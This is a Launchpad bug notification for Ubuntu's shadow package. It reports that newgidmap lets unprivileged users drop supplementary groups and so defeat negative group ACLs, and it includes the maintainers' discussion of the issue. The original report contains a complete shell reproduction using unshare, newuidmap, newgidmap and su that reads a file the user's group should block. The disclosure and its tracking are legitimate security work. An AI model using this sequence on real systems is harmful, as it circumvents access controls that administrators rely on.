[Bug 1729357] Re: unprivileged user can drop supplementary groups

[Seth Arnold]

Eric W. Biederman contributed this via email:

> The short answer is that if you want negative acls to work don't try and
> apply them to a user in /etc/subuid or /etc/subgid.
> 
> To my knowledge there is not a good solution to this problem.
> 
> As for setting setgroups to deny that is the default setting if you do
> nothing.  Allow can't be set until the gid map is set.  Plus there
> are some inheritence rules that ensure if your parent has deny set you
> always will have deny set.
> 
> To date in my experience negative group acls are a theoretical construct
> that no one actually uses.

Given that there's no clear solution to this problem I'm going to make
this bug public, so others can know that subtracting permissions via group
membership isn't perfect.

Thanks


** Information type changed from Private Security to Public Security

** Changed in: shadow (Ubuntu)
       Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Foundations Bugs, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1729357

Title:
  unprivileged user can drop supplementary groups

Status in shadow package in Ubuntu:
  Confirmed

Bug description:
  Distribution: Ubuntu 16.04.3 LTS
  Kernel: 4.4.0-97-generic
  uidmap package version: 1:4.2-3.1ubuntu5.3

  The newgidmap setuid executable allows any user to write a single
  mapping line to the gid_map of a process whose identity is the same as
  the calling process, as long as that mapping line maps the process's
  own GID outside of the user namespace to GID 0 inside the user
  namespace.

  Newgidmap will write the mapping regardless of the content of
  /proc/$process_being_mapped/setgroups, which will initially contain
  the string "allow". After this mapping is performed, and also after
  the process' uid_map is written with newuidmap, the process in the
  user namespace will be able to use the setgroups system call to drop
  supplementary groups.

  This is possible even if there is no entry for the user in
  /etc/subgid, because no subordinate GIDs are actually being used.

  This allows any user to circumvent the use of supplementary groups as
  blacklists, e.g. for some file owned by root:blacklist with permission
  bits 0604 (octal). Normally any process whose identity included the
  group "blacklist" in its supplementary groups would not be able to
  read that file. By performing this exploit using newgidmap, they can
  drop all supplementary groups and read that file.

  If newgidmap was not available, unprivileged users would not be able
  to write a process's gid_map until writing "deny" to
  /proc/$pid/setgroups. A fix for this might be for newgidmap to check
  the content of /proc/$process_being_mapped/setgroups is "deny", but we
  have not tried to patch this ourselves.

  An example using 2 login shells for a user named "someone" on Ubuntu
  Xenial, with the uidmap package installed:

  Shell 1

  someone at ubuntu-xenial:~$ id
  uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)

  someone at ubuntu-xenial:~$ ls -al /tmp/should_restrict
  -rw----r-- 1 root restricted 8 Nov  1 12:23 /tmp/should_restrict

  someone at ubuntu-xenial:~$ cat /tmp/should_restrict
  cat: /tmp/should_restrict: Permission denied

  someone at ubuntu-xenial:~$ unshare -U --setgroups allow #
  /proc/self/setgroups already contains 'allow', but let's be explicit

  nobody at ubuntu-xenial:~$ echo $$
  1878

  Shell 2

  someone at ubuntu-xenial:~$ cat /etc/subuid
  lxd:100000:65536
  root:100000:65536
  ubuntu:165536:65536

  someone at ubuntu-xenial:~$ cat /etc/subgid
  lxd:100000:65536
  root:100000:65536
  ubuntu:165536:65536

  # There are no entries in /etc/sub{u,g}id for someone, but this
  doesn't matter that much as subordinate IDs are not being requested.

  someone at ubuntu-xenial:~$ newuidmap 1878 0 1001 1

  someone at ubuntu-xenial:~$ newgidmap 1878 0 1001 1

  Back to shell 1

  nobody at ubuntu-xenial:~$ id
  uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

  # The presence of the "nogroup" supplementary group indicates that
  some unmapped GIDs are present as supplementary GIDs. The kernel knows
  that this process still has "restricted" in its supplementary groups,
  so it can't read the restricted file yet.

  nobody at ubuntu-xenial:~$ cat /tmp/should_restrict
  cat: /tmp/should_restrict: Permission denied

  # The process has gained CAP_SETGID in its user namespace by becoming
  UID 0. /proc/$pid/setgroups contains "allow", so it can call
  setgroups(2). By su-ing to root (itself, in the user namespace), it
  can drop the supplementary groups. It can't read /root/.bashrc as that
  file is owned by UID 0 in the initial user namespace, which creates
  some distracting error output but doesn't matter in this case.

  nobody at ubuntu-xenial:~$ su root
  su: Authentication failure
  (Ignored)
  bash: /root/.bashrc: Permission denied

  # Supplementary groups have been dropped

  root at ubuntu-xenial:~# id
  uid=0(root) gid=0(root) groups=0(root)

  # It can read the restricted file

  root at ubuntu-xenial:~# cat /tmp/should_restrict
  content

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions